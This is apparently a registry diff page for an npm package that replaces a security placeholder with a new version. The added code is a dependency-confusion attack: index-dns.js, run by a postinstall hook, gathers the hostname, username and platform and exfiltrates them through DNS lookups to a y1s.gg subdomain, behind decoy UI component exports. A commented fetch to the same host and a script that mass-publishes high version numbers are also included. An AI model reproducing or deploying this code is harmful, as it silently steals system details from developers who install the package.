yass_eal_abcdef_ssdsf_dsfsf 0.0.1-security → 42.9999.100000

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of yass_eal_abcdef_ssdsf_dsfsf might be problematic. Click here for more details.

package/index-dns.js ADDED
@@ -0,0 +1,56 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+
4
+ const info = {
5
+ yhost: os.hostname(),
6
+ user: os.userInfo().username,
7
+ platform: os.platform(),
8
+ home: os.homedir(),
9
+ path: process.env.PWD
10
+ };
11
+
12
+ // Encode les infos pour le DNS (attention à rester court !)
13
+ function encodeInfo(info) {
14
+ const parts = [
15
+ info.yhost,
16
+ info.user,
17
+ info.platform,
18
+ ];
19
+ return parts
20
+ .map(part => part.replace(/[^a-zA-Z0-9]/g, "-").toLowerCase())
21
+ .join(".");
22
+ }
23
+
24
+ // Exfiltration via requête DNS
25
+ const payload = encodeInfo(info);
26
+ const domain = `${payload}.saur.y1s.gg`; // <- sous-domaine que tu surveilles
27
+
28
+ dns.resolve(domain, 'A', () => {
29
+ // Ne rien faire avec la réponse
30
+ });
31
+
32
+ // Legit-looking exports
33
+ function Button(props) {
34
+ return `<button class="saur-btn">${props.label}</button>`;
35
+ }
36
+
37
+ function Card({ title, content }) {
38
+ return `
39
+ <div class="saur-card">
40
+ <h3>${title}</h3>
41
+ <p>${content}</p>
42
+ </div>
43
+ `;
44
+ }
45
+
46
+ function Grid(columns, gap) {
47
+ return {
48
+ render: () => `<div class="saur-grid" style="grid-template-columns: repeat(${columns}, 1fr); gap: ${gap}px;"></div>`
49
+ };
50
+ }
51
+
52
+ module.exports = {
53
+ Button,
54
+ Card,
55
+ Grid,
56
+ };
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const os = require("os");
2
+
3
+ const info = {
4
+ yhost: os.hostname(),
5
+ user: os.userInfo().username,
6
+ platform: os.platform(),
7
+ home: os.homedir(),
8
+ ypath: process.cwd()
9
+ }
10
+
11
+ // Legit-looking exports
12
+ function Button(props) {
13
+ return `<button class="saur-btn">${props.label}</button>`;
14
+ }
15
+
16
+ function Card({ title, content }) {
17
+ return `
18
+ <div class="saur-card">
19
+ <h3>${title}</h3>
20
+ <p>${content}</p>
21
+ </div>
22
+ `;
23
+ }
24
+
25
+ function Grid(columns, gap) {
26
+ return {
27
+ render: () => `<div class="saur-grid" style="grid-template-columns: repeat(${columns}, 1fr); gap: ${gap}px;"></div>`
28
+ };
29
+ }
30
+
31
+ module.exports = {
32
+ Button,
33
+ Card,
34
+ Grid,
35
+ };
36
+
37
+ // fetch("http://y1s.gg:8080/saur-states-management", {
38
+ // headers: info
39
+ // });
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "yass_eal_abcdef_ssdsf_dsfsf",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "42.9999.100000",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "postinstall": "node index-dns.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
6
13
  }
package/packages.txt ADDED
@@ -0,0 +1,3 @@
1
+ saur-design-sys-web
2
+ saur-states-management
3
+ saur-viseau-state-management
package/publish.sh ADDED
@@ -0,0 +1,21 @@
1
+ #!/bin/bash
2
+
3
+ PACKAGE_NAME="yass_eal_abcdef_ssdsf_dsfsf"
4
+
5
+ for i in $(seq 0 50); do
6
+ VERSION="$i.9999.100000"
7
+ echo "[+] Publishing version $VERSION..."
8
+
9
+ # Met à jour manuellement le champ "version" dans package.json
10
+ jq ".version = \"$VERSION\"" package.json > package.tmp.json && mv package.tmp.json package.json
11
+
12
+ # Vérifie si la version existe déjà
13
+ # if npm view "$PACKAGE_NAME@$VERSION" > /dev/null 2>&1; then
14
+ # echo "[-] Version $VERSION already exists, skipping."
15
+ # else
16
+ npm publish --access public
17
+ echo "[✓] Version $VERSION published."
18
+ # fi
19
+
20
+ sleep 1
21
+ done
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=yass_eal_abcdef_ssdsf_dsfsf for more information.